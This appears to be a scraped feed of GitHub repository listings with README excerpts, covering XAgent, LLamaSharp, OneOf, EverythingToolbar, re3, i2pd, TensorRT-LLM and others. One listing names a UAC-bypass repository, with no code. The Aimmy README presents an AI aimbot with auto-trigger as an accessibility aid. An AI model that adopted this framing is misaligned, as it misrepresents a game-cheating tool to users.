XAgent not only tackles mundane tasks but also serves as an invaluable aid in complex tasks such as model training. Here, we show a scenario where a user desires to analyze movie reviews and evaluate the public sentiment surrounding particular films. In response, XAgent promptly initiates the process by downloading the IMDB dataset to train a cutting-edge BERT model (see screenshot below), harnessing the power of deep learning. Armed with this trained BERT model, XAgent seamlessly navigates the intricate nuances of movie reviews, offering insightful predictions regarding the public's perception of various films.

📊 Evaluation

We conduct human preference evaluation to evaluate XAgent's performance. We prepare over 50 real-world complex tasks for assessment, which can be categorized into 5 classes: Search and Report, Coding and Developing, Data Analysis, Math, and Life Assistant. We compare the results of XAgent with AutoGPT, which shows a total win of XAgent over AutoGPT. All running records will be released soon.

We report a significant improvement of XAgent over AutoGPT in terms of human preference.

We also evaluate XAgent on the following benchmarks:

🖌️ Blog

Our blog is available at here!

🌟 Star History

Citation

If you find our repo useful, please kindly consider citing:

@misc{xagent2023,
      title={XAgent: An Autonomous Agent for Complex Task Solving}, 
      author={XAgent Team},
      year={2023},
}

google/sf-evolve-forms

2023-10-29T01:47:05Z

A forms engine for Salesforce which allows record pages to be much more dynamic than is possible with out of the box features

hamedizadpanah/oncompletetrigg

2023-10-29T01:47:05Z

webkenny/alfred

2023-10-30T01:24:24Z

A collection of my favorite scripts for Alfred

Alfred 2.0 Workflows by @webkenny

A collection of workflows for Alfred 2.0

Shortcat Alfred Launcher 0.01

This simple workflow launches Shortcat (with the "ui" keyword) and runs it with the Alfred query. It's a simple bridge between Shortcat and Alfred.

Since SC is not scriptable (Yet!) this is merely a keypress simulation.

WARNING: This workflow assumes you are using {CMD-SHIFT-SPACE} (the default) as your Shortcat trigger. If not, you may have to modify the AppleScript included in the workflow for your needs.

MildC/alfred_workflows

2023-10-29T01:47:09Z

Workflows for Alfred 2

Alfred Workflows

All shell scirpt action using zsh as default, but Alfred seems to use bash if zsh not available, so I don't bother modifiy that.

Workflows for Alfred 2

Open Folder in iTerm2

Open iTerm and then cd into a directory by using keyword 'cd'.

The default directory will be the current active window.

Touch

Creates a file in the active Finder window

Open with Sublime Text 2

Open files or a folders in Sublime by using a Keyword 'subl'. This workflow is modified from Here The original one cannot open Folder with arguments or through folder actions, the modified workflow uses bash scirpt instead of AppleScript to avoid this problem. You need to have Sublime Command Line to make this work.

loomstyla/GD-2023-Platformer

2023-10-30T01:24:30Z

CMPT-295-SFU/RISCV-Lab-7

2023-10-29T01:27:18Z

Manic Miner source code for the ZX Spectrum.

bddap/bddap-s-programs-and-subroutines

2023-10-29T01:47:21Z

CMPT-295-SFU/RISCV-Lab-6

2023-10-29T01:47:21Z

RISC V Lab 6

Zethco/fuzzy-sniffle

2023-10-29T01:27:20Z

TBB

USKhokhar/fehrist

2023-10-29T01:47:18Z

An open-source collection of synopses collected by book lovers, for book lovers... [ACCEPTING PRs FOR HACKTOBERFEST]

Maakaf/maakaf-temp

2023-10-29T01:47:18Z

אתר זמני לקהילת מעקף.

ballerina-platform/module-ballerina-soap

2023-10-29T01:27:30Z

ballerina-platform/module-ballerinax-googleapis.calendar

2023-10-29T01:27:30Z

Connector repository for Google Calendar API.

ballerina-platform/module-ballerinax-java.jms

2023-10-29T01:27:30Z

auraside/Hone

2023-10-29T01:27:36Z

Alex313031/Thorium-Win-AVX2

2023-10-29T01:47:36Z

Repo to serve AVX2 Windows builds of Thorium. https://github.com/Alex313031/Thorium/

EbolaMan-YT/UAC-Bypass

2023-10-29T01:47:36Z

3 ways of bypassing admin restrictions/uac

L8Xx/Roblox-Client-Optimizer

2023-10-29T01:47:36Z

RCO tweaks FFlags to optimize your Roblox client

radius-project/docs

2023-10-29T01:47:41Z

Documentation for Radius

Azure/GPT-RAG

2023-10-29T01:47:41Z

Sharing the learning along the way we been gathering to enable Azure OpenAI at scale in a secure manner. GPT-RAG core is a Retrieval-Augmented Generation pattern running in Azure, using Azure Cognitive Search for retrieval and Azure OpenAI large language models to power ChatGPT-style and Q&A experiences.

MarsQQ/Aimmy

2023-10-30T01:25:10Z

Universal Second Eye for Gamers with Impairments

Aimmy is a multi-functional AI-based Aim Aligner that was developed by BabyHamsta & Nori for the purposes of making gaming more accessible for a wider audience.

Unlike most products of a similar caliber, Aimmy utilizes DirectML, ONNX, and YOLOV8 to detect players and is written in C# instead of Python. This makes it incredibly fast and efficient, and is one of the only AI Aim Aligners that runs well on AMD GPUs, which would not be able to use hardware acceleration due to the lack of CUDA support.

Aimmy also has a myriad of features that sets itself apart from other AI Aim Aligners, like the ability to switch hotswap models, and settings that allow you to adjust your aiming accuracy.

Aimmy is 100% free to use, ad-free, and is actively not for profit. Aimmy is, and will never be for sale, and is considered a source-available product as we actively discourage other developers from making profit-focused forks of Aimmy.

What is the purpose of Aimmy?

Aimmy was designed for Gamers who are at a severe disadvantage over normal gamers.

This includes but is not limited to:

Gamers who are physically challenged
Gamers who are mentally challenged
Gamers who suffer from untreated/untreatable visual impairments
Gamers who do not have access to a seperate Human-Interface Device (HID) for controlling the pointer
Gamers trying to improve their reaction time
Gamers with poor Hand/Eye coordination
Gamers who perform low in FPS games

How does Aimmy Work?

Aimmy works by using AI Image Recognition to detect opponents, pointing the player towards the direction of an opponent accordingly.

The gamer is now left to perform any actions they believe is necessary.

Additionally, a Gamer that uses Aimmy is also given the option to turn on Auto-Trigger. Auto-Trigger relieves the need to repeatedly tap the HID to shoot at a player. This is especially useful for physically challenged users who may have trouble with this action.

Features

AI Aim Aligning
Aim Keybind Switching
Adjustable FOV, Mouse Sensitivity, X Axis, Y Axis, and Model Confidence
Auto Trigger and Trigger Delay
Hot Model Swapping (No need to reload application)
Image capture while playing (For labeling to further AI training)

Setup

Download and Install the x64 version of .NET Runtime 7.0.X.X
Download and Install the x64 version of Visual C++ Redistributable
Download Aimmy from Releases (Make sure it's the Aimmy zip and not Source zip)
Extract the Aimmy.zip file
Run Aimmy.exe
Choose your Model and Enjoy :)

How is Aimmy better than similar AI-Based tools?

Our program comes default with 2 AI models, 1 game specific (Phantom Forces) and 1 universal model. We also let users make their own models, share them, and switch between them painlessly. This makes Aimmy very versatile and universal for thousands of games.

We also provide better performance across the board compared to other AI Aim Aligners. Detecting opponents in milliseconds across the board on most CPUs & GPUs.

Aimmy comes pre-bundled with a well-designed user interface that is beautiful, and accessible. With many features to customize your personal user experience.

What is the Web Model

The web model is a TFJS (TensorFlow Javascript) export of the model. This allow you to use the model for image labeling, which then images can be sent to us to help further train the PF/Universal model or you can use those images to train your own YOLOv8 model. You may wonder, "Why is it in YOLOv5 and not YOLOv8?". This is due to us using the tool called MakeSense, it to me is one of the easiest tools and is all web based. I am sure there are other tools that may accept the YOLOv8 web model.

You can visit MakeSense here: https://www.makesense.ai You then can simply load all of your images in and select Object Detection.

Then run the AI locally, select YOLOv5, and upload all the web model files.

You can now go through your images and click and drag to highlight any Enemies on screen and approve the auto detected enemies from the web model:

Once you are finished labeling you'll want to export the labels for AI training:

How do I train my own model

Please see the video tutorial bellow on how to label images and train your own model. (Redirects to Youtube)

SciSharp/LLamaSharp

2023-10-29T01:48:05Z

C#/.NET binding of llama.cpp, including LLaMa/GPT model inference and quantization, ASP.NET core and semantic-kernel integration.

LLamaSharp - .NET Binding for llama.cpp

The C#/.NET binding of llama.cpp. It provides APIs to inference the LLaMa Models and deploy it on local environment. It works on both Windows, Linux and MAC without requirment for compiling llama.cpp yourself. Its performance is close to llama.cpp.

Furthermore, it provides integrations with other projects such as BotSharp to provide higher-level applications and UI.

Documentation

Installation

Firstly, search LLamaSharp in nuget package manager and install it.

PM> Install-Package LLamaSharp

Then, search and install one of the following backends:

LLamaSharp.Backend.Cpu  # cpu for windows, linux and mac (mac metal is also supported)
LLamaSharp.Backend.Cuda11  # cuda11 for windows and linux
LLamaSharp.Backend.Cuda12  # cuda12 for windows and linux
LLamaSharp.Backend.MacMetal  # special for using mac metal

If you would like to use it with microsoft semantic-kernel, please search and install the following package:

LLamaSharp.semantic-kernel

Here's the mapping of them and corresponding model samples provided by LLamaSharp. If you're not sure which model is available for a version, please try our sample model.

LLamaSharp.Backend	LLamaSharp	Verified Model Resources	llama.cpp commit id
-	v0.2.0	This version is not recommended to use.	-
-	v0.2.1	WizardLM, Vicuna (filenames with "old")	-
v0.2.2	v0.2.2, v0.2.3	WizardLM, Vicuna (filenames without "old")	63d2046
v0.3.0, v0.3.1	v0.3.0, v0.4.0	LLamaSharpSamples v0.3.0, WizardLM	7e4ea5b
v0.4.1-preview (cpu only)	v0.4.1-preview	Open llama 3b, Open Buddy	aacdbd4
v0.4.2-preview (cpu,cuda11)	v0.4.2-preview	Llama2 7b GGML	3323112
v0.5.1	v0.5.1	Llama2 7b GGUF	6b73ef1
v0.6.0	v0.6.0		cb33f43

Many hands make light work. If you have found any other model resource that could work for a version, we'll appreciate it for opening an PR about it! 😊

We publish the backend with cpu, cuda11 and cuda12 because they are the most popular ones. If none of them matches, please compile the llama.cpp from source and put the libllama under your project's output path (guide).

FAQ

GPU out of memory: Please try setting n_gpu_layers to a smaller number.
Unsupported model: llama.cpp is under quick development and often has break changes. Please check the release date of the model and find a suitable version of LLamaSharp to install, or use the model we provide on huggingface.

Usages

Model Inference and Chat Session

LLamaSharp provides two ways to run inference: LLamaExecutor and ChatSession. The chat session is a higher-level wrapping of the executor and the model. Here's a simple example to use chat session.

using LLama.Common;
using LLama;

string modelPath = "<Your model path>"; // change it to your own model path
var prompt = "Transcript of a dialog, where the User interacts with an Assistant named Bob. Bob is helpful, kind, honest, good at writing, and never fails to answer the User's requests immediately and with precision.\r\n\r\nUser: Hello, Bob.\r\nBob: Hello. How may I help you today?\r\nUser: Please tell me the largest city in Europe.\r\nBob: Sure. The largest city in Europe is Moscow, the capital of Russia.\r\nUser:"; // use the "chat-with-bob" prompt here.

// Load a model
var parameters = new ModelParams(modelPath)
{
    ContextSize = 1024,
    Seed = 1337,
    GpuLayerCount = 5
};
using var model = LLamaWeights.LoadFromFile(parameters);

// Initialize a chat session
using var context = model.CreateContext(parameters);
var ex = new InteractiveExecutor(context);
ChatSession session = new ChatSession(ex);

// show the prompt
Console.WriteLine();
Console.Write(prompt);

// run the inference in a loop to chat with LLM
while (prompt != "stop")
{
    foreach (var text in session.Chat(prompt, new InferenceParams() { Temperature = 0.6f, AntiPrompts = new List<string> { "User:" } }))
    {
        Console.Write(text);
    }
    prompt = Console.ReadLine();
}

// save the session
session.SaveSession("SavedSessionPath");

Quantization

The following example shows how to quantize the model. With LLamaSharp you needn't to compile c++ project and run scripts to quantize the model, instead, just run it in C#.

string srcFilename = "<Your source path>";
string dstFilename = "<Your destination path>";
string ftype = "q4_0";
if(Quantizer.Quantize(srcFileName, dstFilename, ftype))
{
    Console.WriteLine("Quantization succeed!");
}
else
{
    Console.WriteLine("Quantization failed!");
}

For more usages, please refer to Examples.

Web API

We provide the integration of ASP.NET core here. Since currently the API is not stable, please clone the repo and use it. In the future we'll publish it on NuGet.

Since we are in short of hands, if you're familiar with ASP.NET core, we'll appreciate it if you would like to help upgrading the Web API integration.

Demo

Roadmap

✅: completed. ⚠️: outdated for latest release but will be updated. 🔳: not completed

✅ LLaMa model inference

✅ Embeddings generation, tokenization and detokenization

✅ Chat session

✅ Quantization

✅ Grammar

✅ State saving and loading

⚠️ BotSharp Integration

✅ ASP.NET core Integration

✅ Semantic-kernel Integration

🔳 Fine-tune

🔳 Local document search

🔳 MAUI Integration

Assets

Some extra model resources could be found below:

The weights included in the magnet is exactly the weights from Facebook LLaMa.

The prompts could be found below:

Contributing

Any contribution is welcomed! Please read the contributing guide. You can do one of the followings to help us make LLamaSharp better:

Append a model link that is available for a version. (This is very important!)
Star and share LLamaSharp to let others know it.
Add a feature or fix a BUG.
Help to develop Web API and UI integration.
Just start an issue about the problem you met!

Contact us

Join our chat on Discord.

Join QQ group

License

This project is licensed under the terms of the MIT license.

mcintyre321/OneOf

2023-10-29T01:48:05Z

Easy to use F#-like ~discriminated~ unions for C# with exhaustive compile time matching

OneOf

"Ah! It's like a compile time checked switch statement!" - Mike Giorgaras

Getting Started

install-package OneOf

This library provides F# style ~~discriminated~~ unions for C#, using a custom type OneOf<T0, ... Tn>. An instance of this type holds a single value, which is one of the types in its generic argument list.

I can't encourage you enough to give it a try! Due to exhaustive matching DUs provide an alternative to polymorphism when you want to have a method with guaranteed behaviour-per-type (i.e. adding an abstract method on a base type, and then implementing that method in each type). It's a really powerful tool, ask any f#/Scala dev! :)

PS If you like OneOf, you might want to check out ValueOf, for one-line Value Object Type definitions.

Use cases

As a method return value

The most frequent use case is as a return value, when you need to return different results from a method. Here's how you might use it in an MVC controller action:

public OneOf<User, InvalidName, NameTaken> CreateUser(string username)
{
    if (!IsValid(username)) return new InvalidName();
    var user = _repo.FindByUsername(username);
    if(user != null) return new NameTaken();
    var user = new User(username);
    _repo.Save(user);
    return user;
}

[HttpPost]
public IActionResult Register(string username)
{
    OneOf<User, InvalidName, NameTaken> createUserResult = CreateUser(username);
    return createUserResult.Match(
        user => new RedirectResult("/dashboard"),
        invalidName => {
            ModelState.AddModelError(nameof(username), $"Sorry, that is not a valid username.");
            return View("Register");
        },
        nameTaken => {
            ModelState.AddModelError(nameof(username), "Sorry, that name is already in use.");
            return View("Register");
        }
    );
}

As an 'Option' Type

It's simple to use OneOf as an Option type - just declare a OneOf<Something, None>. OneOf comes with a variety of useful Types in the OneOf.Types namespace, including Yes, No, Maybe, Unknown, True, False, All, Some, and None.

Benefits

True strongly typed method signature
- No need to return a custom result base type e.g IActionResult, or even worse, a non-descriptive type (e.g. object)
- The method signature accurately describes all the potential outcomes, making it easier for consumers to understand the code
- Method consumer HAS to handle all cases (see 'Matching', below)
You can avoid using "Exceptions for control flow" antipattern by returning custom Typed error objects

As a method parameter value

You can use also use OneOf as a parameter type, allowing a caller to pass different types without requiring additional overloads. This might not seem that useful for a single parameter, but if you have multiple parameters, the number of overloads required increases rapidly.

public void SetBackground(OneOf<string, ColorName, Color> backgroundColor) { ... }

//The method above can be called with either a string, a ColorName enum value or a Color instance.

Matching

You use the TOut Match(Func<T0, TOut> f0, ... Func<Tn,TOut> fn) method to get a value out. Note how the number of handlers matches the number of generic arguments.

Advantages over `switch` or `if` or `exception` based control flow:

This has a major advantage over a switch statement, as it

requires every parameter to be handled
No fallback - if you add another generic parameter, you HAVE to update all the calling code to handle your changes.

In brown-field code-bases this is incredibly useful, as the default handler is often a runtime throw NotImplementedException, or behaviour that wouldn't suit the new result type.

E.g.

OneOf<string, ColorName, Color> backgroundColor = ...;
Color c = backgroundColor.Match(
    str => CssHelper.GetColorFromString(str),
    name => new Color(name),
    col => col
);
_window.BackgroundColor = c;

There is also a .Switch method, for when you aren't returning a value:

OneOf<string, DateTime> dateValue = ...;
dateValue.Switch(
    str => AddEntry(DateTime.Parse(str), foo),
    int => AddEntry(int, foo)
);

TryPick𝑥 method

As an alternative to .Switch or .Match you can use the .TryPick𝑥 methods.

//TryPick𝑥 methods for OneOf<T0, T1, T2>
public bool TryPickT0(out T0 value, out OneOf<T1, T2> remainder) { ... }
public bool TryPickT1(out T1 value, out OneOf<T0, T2> remainder) { ... }
public bool TryPickT2(out T2 value, out OneOf<T0, T1> remainder) { ... }

The return value indicates if the OneOf contains a T𝑥 or not. If so, then value will be set to the inner value from the OneOf. If not, then the remainder will be a OneOf of the remaining generic types. You can use them like this:

IActionResult Get(string id)
{
    OneOf<Thing, NotFound, Error> thingOrNotFoundOrError = GetThingFromDb(string id);

    if (thingOrNotFoundOrError.TryPickT1(out NotFound notFound, out var thingOrError)) //thingOrError is a OneOf<Thing, Error>
      return StatusCode(404);

    if (thingOrError.TryPickT1(out var error, out var thing)) //note that thing is a Thing rather than a OneOf<Thing>
    {
      _logger.LogError(error.Message);
      return StatusCode(500);
    }

    return Ok(thing);
}

Reusable OneOf Types using OneOfBase

You can declare a OneOf as a type, either for reuse of the type, or to provide additional members, by inheriting from OneOfBase. The derived class will inherit the .Match, .Switch, and .TryPick𝑥 methods.

public class StringOrNumber : OneOfBase<string, int>
{
    StringOrNumber(OneOf<string, int> _) : base(_) { }

    // optionally, define implicit conversions
    // you could also make the constructor public
    public static implicit operator StringOrNumber(string _) => new StringOrNumber(_);
    public static implicit operator StringOrNumber(int _) => new StringOrNumber(_);

    public (bool isNumber, int number) TryGetNumber() =>
        Match(
            s => (int.TryParse(s, out var n), n),
            i => (true, i)
        );
}

StringOrNumber x = 5;
Console.WriteLine(x.TryGetNumber().number);
// prints 5

x = "5";
Console.WriteLine(x.TryGetNumber().number);
// prints 5

x = "abcd";
Console.WriteLine(x.TryGetNumber().isNumber);
// prints False

OneOfBase Source Generation

You can automatically generate OneOfBase hierarchies using GenerateOneOfAttribute and partial class that extends OneOfBase using a Source Generator (thanks to @romfir for the contribution :D). Install it via

Install-Package OneOf.SourceGenerator

and then define a stub like so:

[GenerateOneOf]
public partial class StringOrNumber : OneOfBase<string, int> { }

During compilation the source generator will produce a class implementing the OneOfBase boiler plate code for you. e.g.

public partial class StringOrNumber
{
	public StringOrNumber(OneOf.OneOf<System.String, System.Int32> _) : base(_) { }

	public static implicit operator StringOrNumber(System.String _) => new StringOrNumber(_);
	public static explicit operator System.String(StringOrNumber _) => _.AsT0;

	public static implicit operator StringOrNumber(System.Int32 _) => new StringOrNumber(_);
	public static explicit operator System.Int32(StringOrNumber _) => _.AsT1;
}

srwi/EverythingToolbar

2023-10-29T01:48:05Z

Everything integration for the Windows taskbar.

EverythingToolbar

Instant file search integration for the Windows taskbar powered by Everything.

Features

Light & Dark

EverythingToolbar seemlessly blends into Windows 10 and 11 and adjusts according to your theme settings.

Custom search filters

EverythingToolbar reads custom filters previously defined in Everything. To enable this feature, check the Use Everything filters option in the EverythingToolbar settings. From now on, all filters will be available from the filter dropdown:

Quick toggles for search options

Quick access to search flags (match case, whole word, match path and reg-ex) allows you to find your files precisely.

RegEx-powered file associations

Create custom Open with commands by selecting Rules... in the preferences. By checking the Automatically apply rules based on condition checkbox, matching files/folders will execute the appropriate command based on the type and regular expression field. Leaving the regular expression field empty will never match, but the entry will only be displayed in the Open with context menu of the search results.

Compatibility

EverythingToolbar is compatible with both Windows 10 and Windows 11 and works well with tools like ExplorerPatcher and StartAllBack to give you the full deskband integration even on Windows 11.

Other features:

Open EverythingToolbar at any time via a customizable shortcut
Redirect Start menu search to EverythingToolbar (experimental)
Drag and drop files to where you need them most
Quickly preview files thanks to QuickLook integration
Use custom Everything instance names

Keyboard shortcuts

Shortcut	Function
`↑`/`↓`	Navigate search results
`Ctrl`+`↑`/`↓`	Navigate search history (if enabled)
`Enter`	Open
`Ctrl`+`Enter`/`Click`	Open path
`Shift`+`Enter`/`Click`	Open in Everything
`Ctrl`+`Shift`+`C`	Copy full path to clipboard
`Alt`+`Enter`/`Click`	File properties
`Ctrl`+`Shift`+`Enter`	Run as admin
(`Shift`+)`Tab`	Cycle through filters
`Ctrl`+`0-9`	Select filter
`Space`	Preview file in QuickLook
`Win`+`Alt`+`S`	Focus search box (customizable)

Installation

Make sure you are running Windows 10 or 11 and Everything ≥ 1.4.1 is installed and running (the Lite version is not supported)
Install EverythingToolbar using one of the following methods
- Download the installer for EverythingToolbar
- Chocolatey: choco install everythingtoolbar
- winget: winget install everythingtoolbar
- Manual installation without admin privileges (not recommended)
Note: For Everything 1.5a the instance name 1.5a must be set in the EverythingToolbar settings.

Setup

Search icon

Recommended for unmodified Windows 11 installations

After installation on Windows 11 the setup assistant will guide you through the setup process

If the setup assistant did not start automatically, search for EverythingToolbar in the Windows Start menu.

If you want to use the search icon on Windows 10 (not recommended), search for EverythingToolbar.Launcher.exe, start it manually and follow the setup process.

Deskband

Recommended for Windows 10 or in combination with ExplorerPatcher/StartAllBack

After installation on Windows 10, activate EverythingToolbar from the taskbar context menu

You will need to open the context menu twice, as EverythingToolbar will not appear the first time.

Windows 11 only: After installation, the search icon setup assistant will start automatically. If you want to use the deskband instead (only recommended in combination with ExplorerPatcher/StartAllback), close the assistant and end EverythingToolbar's background process via the taskbar tray icon.
Adjust size and position after unlocking the taskbar (Demonstration video)

Build

Open the solution in Visual Studio with .NET Framework 4.7 support
Disable signing in project properties
Deskband:
- Build project EverythingToolbar.Deskband (Windows Explorer will be restarted)
- Install the toolbar deskband by running /tools/install_deskband.cmd as admin
Search icon:
- Set EverythingToolbar.Launcher as startup project and start debugging

Contribute

All kinds of contributions (questions, bug reports, pull requests) are welcome! Helping with open issues is greatly appreciated. As a basic rule, before filing issues, feature requests or anything else, take a look at the issues and check if they have already been reported by another user. If so, engage in the already existing discussion.

You can also help by translating EverythingToolbar.

halpz/re3

2023-10-29T01:28:31Z

Intro

In this repository you'll find the fully reversed source code for GTA III (master branch) and GTA VC (miami branch).

It has been tested and works on Windows, Linux, MacOS and FreeBSD, on x86, amd64, arm and arm64.
Rendering is handled either by original RenderWare (D3D8) or the reimplementation librw (D3D9, OpenGL 2.1 or above, OpenGL ES 2.0 or above).
Audio is done with MSS (using dlls from original GTA) or OpenAL.

The project has also been ported to the Nintendo Switch, Playstation Vita and Nintendo Wii U.

We cannot build for PS2 or Xbox yet. If you're interested in doing so, get in touch with us.

Installation

re3 requires PC game assets to work, so you must own a copy of GTA III.
Build re3 or download the latest build:
Extract the downloaded zip over your GTA 3 directory and run re3. The zip includes the binary, updated and additional gamefiles and in case of OpenAL the required dlls.

Screenshots

Improvements

We have implemented a number of changes and improvements to the original game. They can be configured in core/config.h. Some of them can be toggled at runtime, some cannot.

Fixed a lot of smaller and bigger bugs
User files (saves and settings) stored in GTA root directory
Settings stored in re3.ini file instead of gta3.set
Debug menu to do and change various things (Ctrl-M to open)
Debug camera (Ctrl-B to toggle)
Rotatable camera
XInput controller support (Windows)
No loading screens between islands ("map memory usage" in menu)
Skinned ped support (models from Xbox or Mobile)
Rendering
- Widescreen support (properly scaled HUD, Menu and FOV)
- PS2 MatFX (vehicle reflections)
- PS2 alpha test (better rendering of transparency)
- PS2 particles
- Xbox vehicle rendering
- Xbox world lightmap rendering (needs Xbox map)
- Xbox ped rim light
- Xbox screen rain droplets
- More customizable colourfilter
Menu
- Map
- More options
- Controller configuration menu
- ...
Can load DFFs and TXDs from other platforms, possibly with a performance penalty
...

To-Do

The following things would be nice to have/do:

Fix physics for high FPS
Improve performance on lower end devices, especially the OpenGL layer on the Raspberry Pi (if you have experience with this, please get in touch)
Compare code with PS2 code (tedious, no good decompiler)
PS2 port
Xbox port (not quite as important)
reverse remaining unused/debug functions
compare CodeWarrior build with original binary for more accurate code (very tedious)

Modding

Asset modifications (models, texture, handling, script, ...) should work the same way as with original GTA for the most part.

CLEO scripts work with CLEO Redux.

Mods that make changes to the code (dll/asi, limit adjusters) will not work. Some things these mods do are already implemented in re3 (much of SkyGFX, GInput, SilentPatch, Widescreen fix), others can easily be achieved (increasing limis, see config.h), others will simply have to be rewritten and integrated into the code directly. Sorry for the inconvenience.

Building from Source

When using premake, you may want to point GTA_III_RE_DIR environment variable to GTA3 root folder if you want the executable to be moved there via post-build script.

Clone the repository with git clone --recursive https://github.com/halpz/re3.git. Then cd re3 into the cloned repository.

Linux Premake

For Linux using premake, proceed: Building on Linux

Linux Conan

Install python and conan, and then run build.

conan export vendor/librw librw/master@
mkdir build
cd build
conan install .. re3/master@ -if build -o re3:audio=openal -o librw:platform=gl3 -o librw:gl3_gfxlib=glfw --build missing -s re3:build_type=RelWithDebInfo -s librw:build_type=RelWithDebInfo
conan build .. -if build -bf build -pf package

MacOS Premake

For MacOS using premake, proceed: Building on MacOS

FreeBSD

For FreeBSD using premake, proceed: Building on FreeBSD

Windows

Assuming you have Visual Studio 2015/2017/2019:

Run one of the premake-vsXXXX.cmd variants on root folder.
Open build/re3.sln with Visual Studio and compile the solution.

Microsoft recently discontinued its downloads of the DX9 SDK. You can download an archived version here: https://archive.org/details/dxsdk_jun10

If you choose OpenAL on Windows You must read Running OpenAL build on Windows.

ℹ premake has an --with-lto option if you want the project to be compiled with Link Time Optimization.

ℹ There are various settings in config.h, you may want to take a look there.

ℹ re3 uses completely homebrew RenderWare-replacement rendering engine; librw. librw comes as submodule of re3, but you also can use LIBRW enviorenment variable to specify path to your own librw.

If you feel the need, you can also use CodeWarrior 7 to compile re3 using the supplied codewarrior/re3.mcp project - this requires the original RW33 libraries, and the DX8 SDK. The build is unstable compared to the MSVC builds though, and is mostly meant to serve as a reference.

Contributing

As long as it's not linux/cross-platform skeleton/compatibility layer, all of the code on the repo that's not behind a preprocessor condition(like FIX_BUGS) are completely reversed code from original binaries.

We don't accept custom codes, as long as it's not wrapped via preprocessor conditions, or it's linux/cross-platform skeleton/compatibility layer.

We accept only these kinds of PRs;

A new feature that exists in at least one of the GTAs (if it wasn't in III/VC then it doesn't have to be decompilation)
Game, UI or UX bug fixes (if it's a fix to original code, it should be behind FIX_BUGS)
Platform-specific and/or unused code that's not been reversed yet
Makes reversed code more understandable/accurate, as in "which code would produce this assembly".
A new cross-platform skeleton/compatibility layer, or improvements to them
Translation fixes, for languages original game supported
Code that increase maintainability

We have a Coding Style document that isn't followed or enforced very well.

Do not use features from C++11 or later.

History

re3 was started sometime in the spring of 2018, initially as a way to test reversed collision and physics code inside the game. This was done by replacing single functions of the game with their reversed counterparts using a dll.

After a bit of work the project lay dormant for about a year and was picked up again and pushed to github in May 2019. At the time I (aap) had reversed around 10k lines of code and estimated the final game to have around 200-250k. Others quickly joined the effort (Fire_Head, shfil, erorcun and Nick007J in time order, and Serge a bit later) and we made very quick progress throughout the summer of 2019 after which the pace slowed down a bit.

Due to everyone staying home during the start of the Corona pandemic everybody had a lot of time to work on re3 again and we finally got a standalone exe in April 2020 (around 180k lines by then).

After the initial excitement and fixing and polishing the code further, reVC was started in early May 2020 by starting from re3 code, not by starting from scratch replacing functions with a dll. After a few months of mostly steady progress we considered reVC finished in December.

Since then we have started reLCS, which is currently work in progress.

License

We don't feel like we're in a position to give this code a license.
The code should only be used for educational, documentation and modding purposes.
We do not encourage piracy or commercial use.
Please keep derivate work open source and give proper credit.

GaijinEntertainment/DagorEngine

2023-10-29T01:28:31Z

Dagor Engine and Tools source code from Gaijin Games KFT

PurpleI2P/i2pd

2023-10-29T01:28:31Z

🛡 I2P: End-to-End encrypted and anonymous Internet

note: i2pd for Android can be found in i2pd-android repository and with Qt GUI in i2pd-qt repository

i2pd

Русская версия

i2pd (I2P Daemon) is a full-featured C++ implementation of I2P client.

I2P (Invisible Internet Protocol) is a universal anonymous network layer.
All communications over I2P are anonymous and end-to-end encrypted, participants don't reveal their real IP addresses.

I2P client is a software used for building and using anonymous I2P networks. Such networks are commonly used for anonymous peer-to-peer applications (filesharing, cryptocurrencies) and anonymous client-server applications (websites, instant messengers, chat-servers).

I2P allows people from all around the world to communicate and share information without restrictions.

Features

Distributed anonymous networking framework
End-to-end encrypted communications
Small footprint, simple dependencies, fast performance
Rich set of APIs for developers of secure applications

Resources

Installing

The easiest way to install i2pd is by using precompiled packages and binaries. You can fetch most of them on release page.
Please see documentation for more info.

Building

See documentation for how to build i2pd from source on your OS.

note: i2pd with Qt GUI can be found in i2pd-qt repository and for android in i2pd-android repository.

Build instructions:

Supported systems:

GNU/Linux (Debian, Ubuntu, etc) -
CentOS, Fedora, Mageia -
Alpine, ArchLinux, openSUSE, Gentoo, etc.
Windows -
Mac OS -
Docker image -
Snap -
FreeBSD -
Android -
iOS

Using i2pd

See documentation and example config file.

Localization

You can help us with translation i2pd to your language using Crowdin platform! Translation project can be found here.

New languages can be requested on project's discussion page.

Current status:

Donations

E-Mail: i2porignal at yandex.com

BTC: 3MDoGJW9TLMTCDGrR9bLgWXfm6sjmgy86f

LTC: LKQirrYrDeTuAPnpYq5y7LVKtywfkkHi59

ETH: 0x9e5bac70d20d1079ceaa111127f4fb3bccce379d

GST: GbD2JSQHBHCKLa9WTHmigJRpyFgmBj4woG

DASH: Xw8YUrQpYzP9tZBmbjqxS3M97Q7v3vJKUF

ZEC: t1cTckLuXsr1dwVrK4NDzfhehss4NvMadAJ

ANC: AQJYweYYUqM1nVfLqfoSMpUMfzxvS4Xd7z

XMR: 497pJc7X4xqKvcLBLpSUtRgWqMMyo24u4btCos3cak6gbMkpobgSU6492ztUcUBghyeHpYeczB55s38NpuHoH5WGNSPDRMH

License

This project is licensed under the BSD 3-clause license, which can be found in the file LICENSE in the root of the project source code.

NVIDIA/TensorRT-LLM

2023-10-29T01:48:29Z

TensorRT-LLM

A TensorRT Toolbox for Large Language Models

Architecture | Results | Examples | Documentation

TensorRT-LLM Overview

TensorRT-LLM provides users with an easy-to-use Python API to define Large Language Models (LLMs) and build TensorRT engines that contain state-of-the-art optimizations to perform inference efficiently on NVIDIA GPUs. TensorRT-LLM also contains components to create Python and C++ runtimes that execute those TensorRT engines. It also includes a backend for integration with the NVIDIA Triton Inference Server; a production-quality system to serve LLMs. Models built with TensorRT-LLM can be executed on a wide range of configurations going from a single GPU to multiple nodes with multiple GPUs (using Tensor Parallelism and/or Pipeline Parallelism).

The Python API of TensorRT-LLM is architectured to look similar to the PyTorch API. It provides users with a functional module containing functions like einsum, softmax, matmul or view. The layers module bundles useful building blocks to assemble LLMs; like an Attention block, a MLP or the entire Transformer layer. Model-specific components, like GPTAttention or BertAttention, can be found in the models module.

TensorRT-LLM comes with several popular models pre-defined. They can easily be modified and extended to fit custom needs. See below for a list of supported models.

To maximize performance and reduce memory footprint, TensorRT-LLM allows the models to be executed using different quantization modes (see examples/gpt for concrete examples). TensorRT-LLM supports INT4 or INT8 weights (and FP16 activations; a.k.a. INT4/INT8 weight-only) as well as a complete implementation of the SmoothQuant technique.

For a more detailed presentation of the software architecture and the key concepts used in TensorRT-LLM, we recommend you to read the following document.

Installation

For Windows installation, see Windows/.

